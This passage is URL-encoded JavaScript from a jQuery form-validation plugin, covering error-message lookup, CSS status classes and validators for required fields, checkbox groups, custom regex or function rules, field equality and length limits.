3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22minCheckbox%22%3A%0A%09%09%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._minCheckbox%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22equals%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._equals%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22funcCall%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._funcCall%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22nameOnId%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._nameOnId%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22condRequired%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._condRequired%29%3B%0A%09%09%09%09%09%09if%20%28errorMsg%20%21%3D%3D%20undefined%29%20%7B%0A%09%09%09%09%09%09%09required%20%3D%20true%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09break%3B%0A%0A%09%09%09%09%09default%3A%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09var%20end_validation%20%3D%20false%3B%0A%09%09%09%09%0A%09%09%09%09//%20If%20we%20were%20passed%20back%20an%20message%20object%2C%20check%20what%20the%20status%20was%20to%20determine%20what%20to%20do%0A%09%09%09%09if%20%28typeof%20errorMsg%20%3D%3D%20%22object%22%29%20%7B%0A%09%09%09%09%09switch%20%28errorMsg.status%29%20%7B%0A%09%09%09%09%09%09case%20%22_break%22%3A%0A%09%09%09%09%09%09%09end_validation%20%3D%20true%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%09//%20If%20we%20have%20an%20error%20message%2C%20set%20errorMsg%20to%20the%20error%20message%0A%09%09%09%09%09%09case%20%22_error%22%3A%0A%09%09%09%09%09%09%09errorMsg%20%3D%20errorMsg.message%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%09//%20If%20we%20want%20to%20throw%20an%20error%2C%20but%20not%20show%20a%20prompt%2C%20return%20early%20with%20true%0A%09%09%09%09%09%09case%20%22_error_no_prompt%22%3A%0A%09%09%09%09%09%09%09return%20true%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%09//%20Anything%20else%20we%20continue%20on%0A%09%09%09%09%09%09default%3A%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09//%20If%20it%20has%20been%20specified%20that%20validation%20should%20end%20now%2C%20break%0A%09%09%09%09if%20%28end_validation%29%20%7B%0A%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09//%20If%20we%20have%20a%20string%2C%20that%20means%20that%20we%20have%20an%20error%2C%20so%20add%20it%20to%20the%20error%20message.%0A%09%09%09%09if%20%28typeof%20errorMsg%20%3D%3D%20%27string%27%29%20%7B%0A%09%09%09%09%09promptText%20+%3D%20errorMsg%20+%20%22%3Cbr/%3E%22%3B%0A%09%09%09%09%09options.isError%20%3D%20true%3B%0A%09%09%09%09%09field_errors++%3B%0A%09%09%09%09%7D%09%0A%09%09%09%7D%0A%09%09%09//%20If%20the%20rules%20required%20is%20not%20added%2C%20an%20empty%20field%20is%20not%20validated%0A%09%09%09if%28%21required%20%26%26%20%21%28field.val%28%29%29%20%26%26%20field.val%28%29.length%20%3C%201%29%20options.isError%20%3D%20false%3B%0A%0A%09%09%09//%20Hack%20for%20radio/checkbox%20group%20button%2C%20the%20validation%20go%20into%20the%0A%09%09%09//%20first%20radio/checkbox%20of%20the%20group%0A%09%09%09var%20fieldType%20%3D%20field.prop%28%22type%22%29%3B%0A%09%09%09var%20positionType%3Dfield.data%28%22promptPosition%22%29%20%7C%7C%20options.promptPosition%3B%0A%0A%09%09%09if%20%28%28fieldType%20%3D%3D%20%22radio%22%20%7C%7C%20fieldType%20%3D%3D%20%22checkbox%22%29%20%26%26%20form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%22%29.size%28%29%20%3E%201%29%20%7B%0A%09%09%09%09if%28positionType%20%3D%3D%3D%20%27inline%27%29%20%7B%0A%09%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%5Btype%21%3Dhidden%5D%3Alast%22%29%29%3B%0A%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%5Btype%21%3Dhidden%5D%3Afirst%22%29%29%3B%0A%09%09%09%09%7D%0A%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%7D%0A%0A%09%09%09if%28field.is%28%22%3Ahidden%22%29%20%26%26%20options.prettySelect%29%20%7B%0A%09%09%09%09field%20%3D%20form.find%28%22%23%22%20+%20options.usePrefix%20+%20methods._jqSelector%28field.attr%28%27id%27%29%29%20+%20options.useSuffix%29%3B%0A%09%09%09%7D%0A%0A%09%09%09if%20%28options.isError%20%26%26%20options.showPrompts%29%7B%0A%09%09%09%09methods._showPrompt%28field%2C%20promptText%2C%20promptType%2C%20false%2C%20options%29%3B%0A%09%09%09%7Delse%7B%0A%09%09%09%09if%20%28%21isAjaxValidator%29%20methods._closePrompt%28field%29%3B%0A%09%09%09%7D%0A%0A%09%09%09if%20%28%21isAjaxValidator%29%20%7B%0A%09%09%09%09field.trigger%28%22jqv.field.result%22%2C%20%5Bfield%2C%20options.isError%2C%20promptText%5D%29%3B%0A%09%09%09%7D%0A%0A%09%09%09/*%20Record%20error%20*/%0A%09%09%09var%20errindex%20%3D%20%24.inArray%28field%5B0%5D%2C%20options.InvalidFields%29%3B%0A%09%09%09if%20%28errindex%20%3D%3D%20-1%29%20%7B%0A%09%09%09%09if%20%28options.isError%29%0A%09%09%09%09options.InvalidFields.push%28field%5B0%5D%29%3B%0A%09%09%09%7D%20else%20if%20%28%21options.isError%29%20%7B%0A%09%09%09%09options.InvalidFields.splice%28errindex%2C%201%29%3B%0A%09%09%09%7D%0A%09%09%09%09%0A%09%09%09methods._handleStatusCssClasses%28field%2C%20options%29%3B%0A%09%0A%09%09%09/*%20run%20callback%20function%20for%20each%20field%20*/%0A%09%09%09if%20%28options.isError%20%26%26%20options.onFieldFailure%29%0A%09%09%09%09options.onFieldFailure%28field%29%3B%0A%0A%09%09%09if%20%28%21options.isError%20%26%26%20options.onFieldSuccess%29%0A%09%09%09%09options.onFieldSuccess%28field%29%3B%0A%0A%09%09%09return%20options.isError%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Handling%20css%20classes%20of%20fields%20indicating%20result%20of%20validation%20%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%27s%20validation%20rules%20%20%20%20%20%20%20%20%20%20%20%20%0A%09%09*%20@private%0A%09%09*/%0A%09%09_handleStatusCssClasses%3A%20function%28field%2C%20options%29%20%7B%0A%09%09%09/*%20remove%20all%20classes%20*/%0A%09%09%09if%28options.addSuccessCssClassToField%29%0A%09%09%09%09field.removeClass%28options.addSuccessCssClassToField%29%3B%0A%09%09%09%0A%09%09%09if%28options.addFailureCssClassToField%29%0A%09%09%09%09field.removeClass%28options.addFailureCssClassToField%29%3B%0A%09%09%09%0A%09%09%09/*%20Add%20classes%20*/%0A%09%09%09if%20%28options.addSuccessCssClassToField%20%26%26%20%21options.isError%29%0A%09%09%09%09field.addClass%28options.addSuccessCssClassToField%29%3B%0A%09%09%09%0A%09%09%09if%20%28options.addFailureCssClassToField%20%26%26%20options.isError%29%0A%09%09%09%09field.addClass%28options.addFailureCssClassToField%29%3B%09%09%0A%09%09%7D%2C%0A%09%09%0A%09%09%20/********************%0A%09%09%20%20*%20_getErrorMessage%0A%09%09%20%20*%0A%09%09%20%20*%20@param%20form%0A%09%09%20%20*%20@param%20field%0A%09%09%20%20*%20@param%20rule%0A%09%09%20%20*%20@param%20rules%0A%09%09%20%20*%20@param%20i%0A%09%09%20%20*%20@param%20options%0A%09%09%20%20*%20@param%20originalValidationMethod%0A%09%09%20%20*%20@return%20%7B*%7D%0A%09%09%20%20*%20@private%0A%09%09%20%20*/%0A%09%09%20_getErrorMessage%3Afunction%20%28form%2C%20field%2C%20rule%2C%20rules%2C%20i%2C%20options%2C%20originalValidationMethod%29%20%7B%0A%09%09%09%20//%20If%20we%20are%20using%20the%20custon%20validation%20type%2C%20build%20the%20index%20for%20the%20rule.%0A%09%09%09%20//%20Otherwise%20if%20we%20are%20doing%20a%20function%20call%2C%20make%20the%20call%20and%20return%20the%20object%0A%09%09%09%20//%20that%20is%20passed%20back.%0A%09%20%09%09%20var%20rule_index%20%3D%20jQuery.inArray%28rule%2C%20rules%29%3B%0A%09%09%09%20if%20%28rule%20%3D%3D%3D%20%22custom%22%20%7C%7C%20rule%20%3D%3D%3D%20%22funcCall%22%29%20%7B%0A%09%09%09%09%20var%20custom_validation_type%20%3D%20rules%5Brule_index%20+%201%5D%3B%0A%09%09%09%09%20rule%20%3D%20rule%20+%20%22%5B%22%20+%20custom_validation_type%20+%20%22%5D%22%3B%0A%09%09%09%09%20//%20Delete%20the%20rule%20from%20the%20rules%20array%20so%20that%20it%20doesn%27t%20try%20to%20call%20the%0A%09%09%09%20%20%20%20//%20same%20rule%20over%20again%0A%09%09%09%20%20%20%20delete%28rules%5Brule_index%5D%29%3B%0A%09%09%09%20%7D%0A%09%09%09%20//%20Change%20the%20rule%20to%20the%20composite%20rule%2C%20if%20it%20was%20different%20from%20the%20original%0A%09%09%09%20var%20alteredRule%20%3D%20rule%3B%0A%0A%0A%09%09%09%20var%20element_classes%20%3D%20%28field.attr%28%22data-validation-engine%22%29%29%20%3F%20field.attr%28%22data-validation-engine%22%29%20%3A%20field.attr%28%22class%22%29%3B%0A%09%09%09%20var%20element_classes_array%20%3D%20element_classes.split%28%22%20%22%29%3B%0A%0A%09%09%09%20//%20Call%20the%20original%20validation%20method.%20If%20we%20are%20dealing%20with%20dates%20or%20checkboxes%2C%20also%20pass%20the%20form%0A%09%09%09%20var%20errorMsg%3B%0A%09%09%09%20if%20%28rule%20%3D%3D%20%22future%22%20%7C%7C%20rule%20%3D%3D%20%22past%22%20%20%7C%7C%20rule%20%3D%3D%20%22maxCheckbox%22%20%7C%7C%20rule%20%3D%3D%20%22minCheckbox%22%29%20%7B%0A%09%09%09%09%20errorMsg%20%3D%20originalValidationMethod%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%3B%0A%09%09%09%20%7D%20else%20%7B%0A%09%09%09%09%20errorMsg%20%3D%20originalValidationMethod%28field%2C%20rules%2C%20i%2C%20options%29%3B%0A%09%09%09%20%7D%0A%0A%09%09%09%20//%20If%20the%20original%20validation%20method%20returned%20an%20error%20and%20we%20have%20a%20custom%20error%20message%2C%0A%09%09%09%20//%20return%20the%20custom%20message%20instead.%20Otherwise%20return%20the%20original%20error%20message.%0A%09%09%09%20if%20%28errorMsg%20%21%3D%20undefined%29%20%7B%0A%09%09%09%09%20var%20custom_message%20%3D%20methods._getCustomErrorMessage%28%24%28field%29%2C%20element_classes_array%2C%20alteredRule%2C%20options%29%3B%0A%09%09%09%09%20if%20%28custom_message%29%20errorMsg%20%3D%20custom_message%3B%0A%09%09%09%20%7D%0A%09%09%09%20return%20errorMsg%3B%0A%0A%09%09%20%7D%2C%0A%09%09%20_getCustomErrorMessage%3Afunction%20%28field%2C%20classes%2C%20rule%2C%20options%29%20%7B%0A%09%09%09var%20custom_message%20%3D%20false%3B%0A%09%09%09var%20validityProp%20%3D%20/%5Ecustom%5C%5B.*%5C%5D%24/.test%28rule%29%20%3F%20methods._validityProp%5B%22custom%22%5D%20%3A%20methods._validityProp%5Brule%5D%3B%0A%09%09%09%20//%20If%20there%20is%20a%20validityProp%20for%20this%20rule%2C%20check%20to%20see%20if%20the%20field%20has%20an%20attribute%20for%20it%0A%09%09%09if%20%28validityProp%20%21%3D%20undefined%29%20%7B%0A%09%09%09%09custom_message%20%3D%20field.attr%28%22data-errormessage-%22+validityProp%29%3B%0A%09%09%09%09//%20If%20there%20was%20an%20error%20message%20for%20it%2C%20return%20the%20message%0A%09%09%09%09if%20%28custom_message%20%21%3D%20undefined%29%20%0A%09%09%09%09%09return%20custom_message%3B%0A%09%09%09%7D%0A%09%09%09custom_message%20%3D%20field.attr%28%22data-errormessage%22%29%3B%0A%09%09%09%20//%20If%20there%20is%20an%20inline%20custom%20error%20message%2C%20return%20it%0A%09%09%09if%20%28custom_message%20%21%3D%20undefined%29%20%0A%09%09%09%09return%20custom_message%3B%0A%09%09%09var%20id%20%3D%20%27%23%27%20+%20field.attr%28%22id%22%29%3B%0A%09%09%09//%20If%20we%20have%20custom%20messages%20for%20the%20element%27s%20id%2C%20get%20the%20message%20for%20the%20rule%20from%20the%20id.%0A%09%09%09//%20Otherwise%2C%20if%20we%20have%20custom%20messages%20for%20the%20element%27s%20classes%2C%20use%20the%20first%20class%20message%20we%20find%20instead.%0A%09%09%09if%20%28typeof%20options.custom_error_messages%5Bid%5D%20%21%3D%20%22undefined%22%20%26%26%0A%09%09%09%09typeof%20options.custom_error_messages%5Bid%5D%5Brule%5D%20%21%3D%20%22undefined%22%20%29%20%7B%0A%09%09%09%09%09%09%20%20custom_message%20%3D%20options.custom_error_messages%5Bid%5D%5Brule%5D%5B%27message%27%5D%3B%0A%09%09%09%7D%20else%20if%20%28classes.length%20%3E%200%29%20%7B%0A%09%09%09%09for%20%28var%20i%20%3D%200%3B%20i%20%3C%20classes.length%20%26%26%20classes.length%20%3E%200%3B%20i++%29%20%7B%0A%09%09%09%09%09%20var%20element_class%20%3D%20%22.%22%20+%20classes%5Bi%5D%3B%0A%09%09%09%09%09if%20%28typeof%20options.custom_error_messages%5Belement_class%5D%20%21%3D%20%22undefined%22%20%26%26%0A%09%09%09%09%09%09typeof%20options.custom_error_messages%5Belement_class%5D%5Brule%5D%20%21%3D%20%22undefined%22%29%20%7B%0A%09%09%09%09%09%09%09custom_message%20%3D%20options.custom_error_messages%5Belement_class%5D%5Brule%5D%5B%27message%27%5D%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09if%20%28%21custom_message%20%26%26%0A%09%09%09%09typeof%20options.custom_error_messages%5Brule%5D%20%21%3D%20%22undefined%22%20%26%26%0A%09%09%09%09typeof%20options.custom_error_messages%5Brule%5D%5B%27message%27%5D%20%21%3D%20%22undefined%22%29%7B%0A%09%09%09%09%09%20custom_message%20%3D%20options.custom_error_messages%5Brule%5D%5B%27message%27%5D%3B%0A%09%09%09%20%7D%0A%09%09%09%20return%20custom_message%3B%0A%09%09%20%7D%2C%0A%09%09%20_validityProp%3A%20%7B%0A%09%09%09%20%22required%22%3A%20%22value-missing%22%2C%0A%09%09%09%20%22custom%22%3A%20%22custom-error%22%2C%0A%09%09%09%20%22groupRequired%22%3A%20%22value-missing%22%2C%0A%09%09%09%20%22ajax%22%3A%20%22custom-error%22%2C%0A%09%09%09%20%22minSize%22%3A%20%22range-underflow%22%2C%0A%09%09%09%20%22maxSize%22%3A%20%22range-overflow%22%2C%0A%09%09%09%20%22min%22%3A%20%22range-underflow%22%2C%0A%09%09%09%20%22max%22%3A%20%22range-overflow%22%2C%0A%09%09%09%20%22past%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22future%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22dateRange%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22dateTimeRange%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22maxCheckbox%22%3A%20%22range-overflow%22%2C%0A%09%09%09%20%22minCheckbox%22%3A%20%22range-underflow%22%2C%0A%09%09%09%20%22equals%22%3A%20%22pattern-mismatch%22%2C%0A%09%09%09%20%22funcCall%22%3A%20%22custom-error%22%2C%0A%09%09%09%20%22nameOnId%22%3A%20%22pattern-mismatch%22%2C%0A%09%09%09%20%22condRequired%22%3A%20%22value-missing%22%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Required%20validation%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@param%20%7Bbool%7D%20condRequired%20flag%20when%20method%20is%20used%20for%20internal%20purpose%20in%20condRequired%20check%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_required%3A%20function%28field%2C%20rules%2C%20i%2C%20options%2C%20condRequired%29%20%7B%0A%09%09%09switch%20%28field.prop%28%22type%22%29%29%20%7B%0A%09%09%09%09case%20%22text%22%3A%0A%09%09%09%09case%20%22password%22%3A%0A%09%09%09%09case%20%22textarea%22%3A%0A%09%09%09%09case%20%22file%22%3A%0A%09%09%09%09case%20%22select-one%22%3A%0A%09%09%09%09case%20%22select-multiple%22%3A%0A%09%09%09%09default%3A%0A%09%09%09%09%09var%20field_val%20%20%20%20%20%20%3D%20%24.trim%28%20field.val%28%29%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%09%09%09%09%09var%20dv_placeholder%20%3D%20%24.trim%28%20field.attr%28%22data-validation-placeholder%22%29%20%29%3B%0A%09%09%09%09%09var%20placeholder%20%20%20%20%3D%20%24.trim%28%20field.attr%28%22placeholder%22%29%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%09%09%09%09%09if%20%28%0A%09%09%09%09%09%09%20%20%20%28%20%21field_val%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%29%0A%09%09%09%09%09%09%7C%7C%20%28%20dv_placeholder%20%26%26%20field_val%20%3D%3D%20dv_placeholder%20%29%0A%09%09%09%09%09%09%7C%7C%20%28%20placeholder%20%20%20%20%26%26%20field_val%20%3D%3D%20placeholder%20%20%20%20%29%0A%09%09%09%09%09%29%20%7B%0A%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22radio%22%3A%0A%09%09%09%09case%20%22checkbox%22%3A%0A%09%09%09%09%09//%20new%20validation%20style%20to%20only%20check%20dependent%20field%0A%09%09%09%09%09if%20%28condRequired%29%20%7B%0A%09%09%09%09%09%09if%20%28%21field.attr%28%27checked%27%29%29%20%7B%0A%09%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertTextCheckboxMultiple%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09//%20old%20validation%20style%0A%09%09%09%09%09var%20form%20%3D%20field.closest%28%22form%2C%20.validationEngineContainer%22%29%3B%0A%09%09%09%09%09var%20name%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09%09%09if%20%28form.find%28%22input%5Bname%3D%27%22%20+%20name%20+%20%22%27%5D%3Achecked%22%29.size%28%29%20%3D%3D%200%29%20%7B%0A%09%09%09%09%09%09if%20%28form.find%28%22input%5Bname%3D%27%22%20+%20name%20+%20%22%27%5D%3Avisible%22%29.size%28%29%20%3D%3D%201%29%0A%09%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertTextCheckboxe%3B%0A%09%09%09%09%09%09else%0A%09%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertTextCheckboxMultiple%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09break%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validate%20that%201%20from%20the%20group%20field%20is%20required%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_groupRequired%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+rules%5Bi%20+%201%5D%20+%22%5D%22%3B%0A%09%09%09var%20isValid%20%3D%20false%3B%0A%09%09%09//%20Check%20all%20fields%20from%20the%20group%0A%09%09%09field.closest%28%22form%2C%20.validationEngineContainer%22%29.find%28classGroup%29.each%28function%28%29%7B%0A%09%09%09%09if%28%21methods._required%28%24%28this%29%2C%20rules%2C%20i%2C%20options%29%29%7B%0A%09%09%09%09%09isValid%20%3D%20true%3B%0A%09%09%09%09%09return%20false%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%20%0A%0A%09%09%09if%28%21isValid%29%20%7B%0A%09%09%20%20return%20options.allrules%5Brules%5Bi%5D%5D.alertText%3B%0A%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validate%20rules%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_custom%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20customRule%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20rule%20%3D%20options.allrules%5BcustomRule%5D%3B%0A%09%09%09var%20fn%3B%0A%09%09%09if%28%21rule%29%20%7B%0A%09%09%09%09alert%28%22jqv%3Acustom%20rule%20not%20found%20-%20%22+customRule%29%3B%0A%09%09%09%09return%3B%0A%09%09%09%7D%0A%09%09%09%0A%09%09%09if%28rule%5B%22regex%22%5D%29%20%7B%0A%09%09%09%09%20var%20ex%3Drule.regex%3B%0A%09%09%09%09%09if%28%21ex%29%20%7B%0A%09%09%09%09%09%09alert%28%22jqv%3Acustom%20regex%20not%20found%20-%20%22+customRule%29%3B%0A%09%09%09%09%09%09return%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09var%20pattern%20%3D%20new%20RegExp%28ex%29%3B%0A%0A%09%09%09%09%09if%20%28%21pattern.test%28field.val%28%29%29%29%20return%20options.allrules%5BcustomRule%5D.alertText%3B%0A%09%09%09%09%09%0A%09%09%09%7D%20else%20if%28rule%5B%22func%22%5D%29%20%7B%0A%09%09%09%09fn%20%3D%20rule%5B%22func%22%5D%3B%20%0A%09%09%09%09%20%0A%09%09%09%09if%20%28typeof%28fn%29%20%21%3D%3D%20%22function%22%29%20%7B%0A%09%09%09%09%09alert%28%22jqv%3Acustom%20parameter%20%27function%27%20is%20no%20function%20-%20%22+customRule%29%3B%0A%09%09%09%09%09%09return%3B%0A%09%09%09%09%7D%0A%09%09%09%09%20%0A%09%09%09%09if%20%28%21fn%28field%2C%20rules%2C%20i%2C%20options%29%29%0A%09%09%09%09%09return%20options.allrules%5BcustomRule%5D.alertText%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09alert%28%22jqv%3Acustom%20type%20not%20allowed%20%22+customRule%29%3B%0A%09%09%09%09%09return%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validate%20custom%20function%20outside%20of%20the%20engine%20scope%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_funcCall%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20functionName%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20fn%3B%0A%09%09%09if%28functionName.indexOf%28%27.%27%29%20%3E-1%29%0A%09%09%09%7B%0A%09%09%09%09var%20namespaces%20%3D%20functionName.split%28%27.%27%29%3B%0A%09%09%09%09var%20scope%20%3D%20window%3B%0A%09%09%09%09while%28namespaces.length%29%0A%09%09%09%09%7B%0A%09%09%09%09%09scope%20%3D%20scope%5Bnamespaces.shift%28%29%5D%3B%0A%09%09%09%09%7D%0A%09%09%09%09fn%20%3D%20scope%3B%0A%09%09%09%7D%0A%09%09%09else%0A%09%09%09%09fn%20%3D%20window%5BfunctionName%5D%20%7C%7C%20options.customFunctions%5BfunctionName%5D%3B%0A%09%09%09if%20%28typeof%28fn%29%20%3D%3D%20%27function%27%29%0A%09%09%09%09return%20fn%28field%2C%20rules%2C%20i%2C%20options%29%3B%0A%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Field%20match%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_equals%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20equalsField%20%3D%20rules%5Bi%20+%201%5D%3B%0A%0A%09%09%09if%20%28field.val%28%29%20%21%3D%20%24%28%22%23%22%20+%20equalsField%29.val%28%29%29%0A%09%09%09%09return%20options.allrules.equals.alertText%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20the%20maximum%20size%20%28in%20characters%29%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_maxSize%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20max%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20len%20%3D%20field.val%28%29.length%3B%0A%0A%09%09%09if%20%28len%20%3E%20max%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.maxSize%3B%0A%09%09%09%09return%20rule.alertText%20+%20max%20+%20rule.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20the%20minimum%20size%20%28in%20characters%29%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_minSize%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20min%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20len%20%3D%20field.val%28%29.length%3B%0A%0A%09%09%09if%20%28len%20%3C%20min%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.minSize%3B%0A%09%09%09%09return%20rule.alertText%20+%20min%20+%20rule.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20number%20minimum%20value%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_min%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20min%20%3D%20parseFloat%28rules%5Bi%20+%201%5D%29%3B%0A%09%09%09var%20len%20%3D%20